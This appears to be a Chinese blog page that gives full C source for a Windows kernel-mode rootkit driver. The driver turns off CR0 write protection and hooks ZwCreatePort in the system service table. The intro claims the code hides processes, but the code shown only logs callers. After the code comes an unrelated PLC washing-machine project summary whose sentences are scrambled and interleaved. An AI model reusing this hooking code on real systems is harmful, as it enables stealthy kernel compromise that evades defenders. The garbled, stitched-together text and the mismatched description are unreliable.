BASIC DEVICE DRIVER

本文介绍了一种内核级Rootkit的实现方法,通过挂钩系统调用表来隐藏进程。利用自定义设备驱动程序,文章详细展示了如何寻找并替换`ZwCreatePort`函数,以达到隐藏特定进程的目的。

// BASIC DEVICE DRIVER

#include "ntddk.h"
#include "peheader.h"

// Length of process name (rounded up to next DWORD)
#define PROCNAMELEN     20
// Maximum length of NT process name
#define NT_PROCNAMELEN  16

ULONG gProcessNameOffset;

// a cheap way to steal the call number based on the mov instruction
// that lives at the function address.  For example,
//
//  mov     eax, 28h
//
// Every Zw* function starts with a mov instruction that moves the
// call number in EAX.  Thus the call number is 1 byte past the start
// of the function.  It's a hack.  It works for any Zw* function
// exported from ntoskrnl.exe
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)


/////////////////////////////////////////////////////////////////////////
// the system call table infoz
/////////////////////////////////////////////////////////////////////////
#pragma pack(1)
typedef struct ServiceDescriptorTable
{
 unsigned int *ServiceTableBase;
 unsigned int *ServiceCounterTableBase; //Used only in checked build
 unsigned int NumberOfServices;
 unsigned char *ParamTableBase;
} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;
#pragma pack()

//exported from ntoskrnl.exe
__declspec(dllimport)  SERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

/////////////////////////////////////////////////////////////////////////
// we use ZwQuerySystemInformation to find ntdll.dll in memory
/////////////////////////////////////////////////////////////////////////
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
   IN PVOID SystemInformation,
   IN ULONG SystemInformationLength,
   OUT PULONG ReturnLength);

// for reading the system module infoz
#define SystemModuleInformation     11

#pragma pack(1)
typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG  Reserved[2];
    PVOID  Base;
    ULONG  Size;
    ULONG  Flags;
    USHORT Index;
    USHORT Unknown;
    USHORT LoadCount;
    USHORT ModuleNameOffset;
    CHAR   ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
#pragma pack()


NTSYSAPI
NTSTATUS
NTAPI
ZwCreatePort(
 PHANDLE PortHandle,
 POBJECT_ATTRIBUTES ObjectAttributes,
 ULONG MaxConnectInfoLength,
 ULONG MaxDataLength,
 ULONG Unknown
);

typedef NTSTATUS (*ZWCREATEPORT)(
            PHANDLE PortHandle,
   POBJECT_ATTRIBUTES ObjectAttributes,
   ULONG MaxConnectInfoLength,
   ULONG MaxDataLength,
   ULONG Unknown
);

ZWCREATEPORT OldZwCreatePort;
PVOID gFunctionAddressForZwCreatePort;

/* Find the offset of the process name within the executive process
   block.  We do this by searching for the first occurance of "System"
   in the current process when the device driver is loaded. */

void GetProcessNameOffset()
{
  PEPROCESS curproc = PsGetCurrentProcess();
  int i;
  for( i = 0; i < 3*PAGE_SIZE; i++ )
  {
      if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))
 {
   gProcessNameOffset = i;
 }
  }
}

/* Copy the process name into the specified buffer.  */

ULONG GetProcessName( PCHAR theName )
{
  PEPROCESS       curproc;
  char            *nameptr;
  ULONG           i;
  KIRQL           oldirql;

  if( gProcessNameOffset )
    {
      curproc = PsGetCurrentProcess();
      nameptr   = (PCHAR) curproc + gProcessNameOffset;
      strncpy( theName, nameptr, NT_PROCNAMELEN );
      theName[NT_PROCNAMELEN] = 0; /* NULL at end */
      return TRUE;
    }
  return FALSE;
}

NTSTATUS NewZwCreatePort(
 PHANDLE PortHandle,
 POBJECT_ATTRIBUTES ObjectAttributes,
 ULONG MaxConnectInfoLength,
 ULONG MaxDataLength,
 ULONG Unknown )
{
  NTSTATUS rc;
        CHAR aProcessName[PROCNAMELEN];
               
        GetProcessName( aProcessName );
        DbgPrint("rootkit: NewZwCreatePort() from %s/n", aProcessName);

        rc = ((ZWCREATEPORT)(OldZwCreatePort)) (
                        PortHandle,
      ObjectAttributes,
      MaxConnectInfoLength,
      MaxDataLength,
      Unknown);

  return(rc);
}


VOID Unload( IN PDRIVER_OBJECT DriverObject )
{
 DbgPrint("Unload called/n");

 // UNProtect memory
 __asm
 {
  push eax
  mov  eax, CR0
  and  eax, 0FFFEFFFFh
  mov  CR0, eax
  pop  eax
 }

 // put back the old function pointer
 InterlockedExchange( (PLONG) &(SYSTEMSERVICE(gFunctionAddressForZwCreatePort)),
       (LONG) OldZwCreatePort);


 // REProtect memory
 __asm
 {
  push eax
  mov  eax, CR0
  or  eax, NOT 0FFFEFFFFh
  mov  CR0, eax
  pop  eax
 }

}

 

NTSTATUS StubbedDispatch(
      IN PDEVICE_OBJECT theDeviceObject,
      IN PIRP theIrp )
{
 theIrp->IoStatus.Status = STATUS_SUCCESS;
 IoCompleteRequest( theIrp, IO_NO_INCREMENT );

 return theIrp->IoStatus.Status;
}

// adapted from Native API Reference, Gary Nebbett
PVOID FindNT()
{
 ULONG n;
 PULONG q;
 PSYSTEM_MODULE_INFORMATION p;
 PVOID ntdll = 0;
 ULONG i;

 ZwQuerySystemInformation( SystemModuleInformation,
        &n,
        0,
        &n);
 
 q = (PULONG) ExAllocatePool( PagedPool, n );
 
 ZwQuerySystemInformation( SystemModuleInformation,
        q,
        n * sizeof( *q ),
        0);

 p = (PSYSTEM_MODULE_INFORMATION) (q + 1);

 for( i = 0; i < *q; i++)
 {
  //DbgPrint("comparing to %s/n", (p[i].ImageName + p[i].ModuleNameOffset));
  if(0 == _stricmp(p[i].ImageName + p[i].ModuleNameOffset, "ntdll.dll"))
  {
   ntdll = p[i].Base;
   break;
  }
 }

 ExFreePool(q);
 return ntdll;
}

PVOID FindFunc( PVOID Base, PCSTR Name )
{
 PIMAGE_DOS_HEADER dos;
 PIMAGE_NT_HEADERS32 nt;
 PIMAGE_DATA_DIRECTORY expdir;
 ULONG size;
 ULONG addr;
 PIMAGE_EXPORT_DIRECTORY exports;
 PULONG functions;
 PSHORT ordinals;
 PULONG names;
 PVOID func = 0;
 ULONG i;

 dos = (PIMAGE_DOS_HEADER)Base;
 //DbgPrint("dos 0x%08X/n", dos);
 
 nt = (PIMAGE_NT_HEADERS32)( (PCHAR)Base + dos->e_lfanew );
 //DbgPrint("nt 0x%08X/n", nt);
 
 expdir = nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
 //DbgPrint("expdir 0x%08X/n", expdir);

 size = expdir->Size;
 //DbgPrint("size 0x%08X/n", size);

 addr = expdir->VirtualAddress;
 //DbgPrint("addr 0x%08X/n", addr);

 exports = (PIMAGE_EXPORT_DIRECTORY)( (PCHAR)Base + addr);
 //DbgPrint("exports 0x%08X/n", exports);

 functions = (PULONG)( (PCHAR)Base + exports->AddressOfFunctions);
 //DbgPrint("functions 0x%08X/n", functions);

 ordinals = (PSHORT)( (PCHAR)Base + exports->AddressOfNameOrdinals);
 //DbgPrint("ordinals 0x%08X/n", ordinals);

 names = (PULONG)( (PCHAR)Base + exports->AddressOfNames);
 //DbgPrint("names 0x%08X/n", names);

 DbgPrint("number of names %d/n", exports->NumberOfNames);

 for (i = 0; i < exports->NumberOfNames; i++)
 {
  ULONG ord = ordinals[i];
  if(functions[ord] < addr || functions[ord] >= addr + size)
  {
   //DbgPrint("Comparing name %s to %s/n", (PSTR)( (PCHAR)Base + names[i]), Name);

   if(0 == strcmp((PSTR)( (PCHAR)Base + names[i]), Name ) )
   {
    func = (PCHAR)Base + functions[ord];
   }
  }
 }

 return func;
}

// This gets the address for any function that is exported from NTDLL.DLL
PVOID GetCallAddress( PCSTR Name )
{
 ULONG syscall_number = -1;
 PVOID base;
 PVOID func;

 base = FindNT();
 if(base)
 {
  func = (PVOID) FindFunc( base, Name );
 
  if(func)
  {
   return func;
  }
  else
  {
   DbgPrint("Could not find function address for %s/n", Name );
  }
 }
 else
 {
  DbgPrint("Could not find base of NTDLL.DLL/n");
 }
 return 0;
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
 int i;
 
 DbgPrint("Rootkit: Loaded to hook non-exported functions in the kernel./n");

 GetProcessNameOffset();

 theDriverObject->DriverUnload  = Unload;

 for(i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++)
 {
  theDriverObject->MajorFunction[i] = StubbedDispatch;
 }

 gFunctionAddressForZwCreatePort = GetCallAddress("ZwCreatePort");

 // UNProtect memory
 __asm
 {
  push eax
  mov  eax, CR0
  and  eax, 0FFFEFFFFh
  mov  CR0, eax
  pop  eax
 }


 // place the hook using InterlockedExchange (no need to disable interrupts)
 // this uses the LOCK instruction to lock the memory bus during the next instruction
 // Example:
 // LOCK INC DWORD PTR [EDX+04]
 // This staves off collisions on multi-processor machines, while cli/sti only disable interrupts
 // on the current processor.
 //

 OldZwCreatePort =
  (ZWCREATEPORT) InterlockedExchange(  (PLONG) &(SYSTEMSERVICE(gFunctionAddressForZwCreatePort)),
            (LONG) NewZwCreatePort);

 // REProtect memory
 __asm
 {
  push eax
  mov  eax, CR0
  or  eax, NOT 0FFFEFFFFh
  mov  CR0, eax
  pop  eax
 }

 
 return STATUS_SUCCESS;
}

 

 

 

//ktypes.h

ifndef _KERNEL_MODE_TYPES_DEFINITION_HEADER_
# define _KERNEL_MODE_TYPES_DEFINITION_HEADER_

typedef unsigned char  uchar_ut;
typedef unsigned int   ulong_ut;
typedef unsigned short ushort_ut;
typedef unsigned int   uint_ut;

typedef unsigned char    BYTE, *PBYTE;
typedef unsigned short   WORD;
typedef unsigned long    DWORD;
typedef __int64          INT64_PTR, *PINT64_PTR;
typedef unsigned __int64 UINT64_PTR, *PUINT64_PTR;

#endif //_KERNEL_MODE_TYPES_DEFINITION_HEADER_

//

 

//peheader.h

#ifndef __PE_HEADER_H
 #define __PE_HEADER_H

#include "ktypes.h"

#pragma pack(push)
#pragma pack(1)

//#define FIELD_OFFSET(type, field)    ((LONG)(INT64_PTR)&(((type *)0)->field))

#define IMAGE_DOS_SIGNATURE                 0x5a4d     //0x4D5A      // MZ
#define IMAGE_OS2_SIGNATURE                 0x454e     //0x4E45      // NE
#define IMAGE_OS2_SIGNATURE_LE              0x454c     //0x4C45      // LE
#define IMAGE_NT_SIGNATURE                  0x00004550 //0x50450000  // PE00

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

//
// File header format.
//

typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine;
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;


#define IMAGE_SIZEOF_FILE_HEADER             20

//
// Directory format.
//

typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES    16

//
// Optional header format.
//

typedef struct _IMAGE_OPTIONAL_HEADER {
    //
    // Standard fields.
    //

    WORD    Magic;
    BYTE    MajorLinkerVersion;
    BYTE    MinorLinkerVersion;
    DWORD   SizeOfCode;
    DWORD   SizeOfInitializedData;
    DWORD   SizeOfUninitializedData;
    DWORD   AddressOfEntryPoint;
    DWORD   BaseOfCode;
    DWORD   BaseOfData;

    //
    // NT additional fields.
    //

    DWORD   ImageBase;
    DWORD   SectionAlignment;
    DWORD   FileAlignment;
    WORD    MajorOperatingSystemVersion;
    WORD    MinorOperatingSystemVersion;
    WORD    MajorImageVersion;
    WORD    MinorImageVersion;
    WORD    MajorSubsystemVersion;
    WORD    MinorSubsystemVersion;
    DWORD   Win32VersionValue;
    DWORD   SizeOfImage;
    DWORD   SizeOfHeaders;
    DWORD   CheckSum;
    WORD    Subsystem;
    WORD    DllCharacteristics;
    DWORD   SizeOfStackReserve;
    DWORD   SizeOfStackCommit;
    DWORD   SizeOfHeapReserve;
    DWORD   SizeOfHeapCommit;
    DWORD   LoaderFlags;
    DWORD   NumberOfRvaAndSizes;
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

//
// Section header format.
//

#define IMAGE_SIZEOF_SHORT_NAME              8

typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];
    union {
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

#define IMAGE_SIZEOF_SECTION_HEADER          40


#define IMAGE_FIRST_SECTION32( ntheader ) ((PIMAGE_SECTION_HEADER)        /
    ((UINT64_PTR)ntheader +                                                  /
     FIELD_OFFSET( IMAGE_NT_HEADERS32, OptionalHeader ) +                 /
     ((PIMAGE_NT_HEADERS32)(ntheader))->FileHeader.SizeOfOptionalHeader   /
    ))

typedef struct {
  DWORD VirtualAddress;
  DWORD Size;
} RELO_HEADER, *PRELO_HEADER;


// Directory Entries

#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE        2   // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // Exception Directory
#define IMAGE_DIRECTORY_ENTRY_SECURITY        4   // Security Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // Debug Directory
//      IMAGE_DIRECTORY_ENTRY_COPYRIGHT       7   // (X86 usage)
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7   // Architecture Specific Data
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8   // RVA of GP
#define IMAGE_DIRECTORY_ENTRY_TLS             9   // TLS Directory
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10   // Load Configuration Directory
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11   // Bound Import Directory in headers
#define IMAGE_DIRECTORY_ENTRY_IAT            12   // Import Address Table
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13   // Delay Load Import Descriptors
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime descriptor

//
// Export Format
//

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;


#pragma pack(pop)

#endif //__PE_HEADER_H

 

内容概要:本文设计了一种基于PLC的全自动洗衣机控制系统内容概要:本文设计了一种,采用三菱FX基于PLC的全自动洗衣机控制系统,采用3U-32MT型PLC作为三菱FX3U核心控制器,替代传统继-32MT电器控制方式,提升了型PLC作为系统的稳定性与自动化核心控制器,替代水平。系统具备传统继电器控制方式高/低水,实现洗衣机工作位选择、柔和过程的自动化控制/标准洗衣模式切换。系统具备高、暂停加衣、低水位选择、手动脱水及和柔和、标准两种蜂鸣提示等功能洗衣模式,支持,通过GX Works2软件编写梯形图程序,实现进洗衣过程中暂停添加水、洗涤、排水衣物,并增加了手动脱水功能和、脱水等工序蜂鸣器提示的自动循环控制功能,提升了使用的,并引入MCGS组便捷性与灵活性态软件实现人机交互界面监控。控制系统通过GX。硬件设计包括 Works2软件进行主电路、PLC接梯形图编程线与关键元,完成了启动、进水器件选型,软件、正反转洗涤部分完成I/O分配、排水、脱、逻辑流程规划水等工序的逻辑及各功能模块梯设计,并实现了大形图编程。循环与小循环的嵌; 适合人群:自动化套控制流程。此外、电气工程及相关,还利用MCGS组态软件构建专业本科学生,具备PL了人机交互C基础知识和梯界面,实现对洗衣机形图编程能力的运行状态的监控与操作。整体设计涵盖了初级工程技术人员。硬件选型、; 使用场景及目标:I/O分配、电路接线、程序逻辑设计及组①掌握PLC在态监控等多个方面家电自动化控制中的应用方法;②学习,体现了PLC在工业自动化控制中的高效全自动洗衣机控制系统的性与可靠性。;软硬件设计流程 适合人群:电气;③实践工程、自动化及相关MCGS组态软件与PLC的专业的本科生、初级通信与联调工程技术人员以及从事;④完成PLC控制系统开发毕业设计或工业的学习者;具备控制类项目开发参考一定PLC基础知识。; 阅读和梯形图建议:建议结合三菱编程能力的人员GX Works2仿真更为适宜。; 使用场景及目标:①应用于环境与MCGS组态平台进行程序高校毕业设计或调试与运行验证课程项目,帮助学生掌握PLC控制系统的设计,重点关注I/O分配逻辑、梯形图与实现方法;②为工业自动化领域互锁机制及循环控制结构的设计中类似家电控制系统的开发提供参考方案;③思路,深入理解PL通过实际案例理解C在实际工程项目PLC在电机中的应用全过程。控制、时间循环、互锁保护、手动干预等方面的应用逻辑。; 阅读建议:建议结合三菱GX Works2编程软件和MCGS组态软件同步实践,重点理解梯形图程序中各环节的时序逻辑与互锁机制,关注I/O分配与硬件接线的对应关系,并尝试在仿真环境中调试程序以加深对全自动洗衣机控制流程的理解。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值